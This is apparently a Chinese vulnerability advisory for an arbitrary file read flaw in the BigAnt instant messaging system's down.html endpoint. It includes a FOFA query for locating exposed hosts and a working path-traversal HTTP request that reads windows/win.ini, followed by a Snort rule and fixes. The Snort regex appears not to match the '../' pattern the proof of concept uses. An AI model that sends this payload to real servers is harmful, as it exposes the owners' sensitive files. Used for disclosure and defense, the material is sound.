

杭州九麒麟科技大蚂蚁即时通讯 down.html 任意文件读取漏洞

杭州九麒麟科技大蚂蚁即时通讯 down.html 任意文件读取漏洞，从而导致读取服务器上的敏感文件。

影响版本

杭州九麒麟科技大蚂蚁即时通讯

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: (body="/Public/static/admin/admin_common.js" && body="/Public/lang/en.js") || body="BigAnt-Admin"

POC/EXP:

```
GET /Api/Update/down.html?file=../../../../../../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Priority: u=0, i
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```



snort规则:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"AntIM - Arbitrary File Read via down.html";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/Api/Update/down.html"; http_uri;
  content:"file="; http_uri;
  pcre:"/file=[^&]*(\\|\\.\\.\\.|/%2e%2e%2f){4,}/i";
  metadata:service http;
  metadata:affected_product "大蚂蚁即时通讯系统";
  metadata:vulnerability_type "Directory Traversal";
  classtype:web-application-attack;
  sid:1000348;
  rev:1;
  priority:1;
)

```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。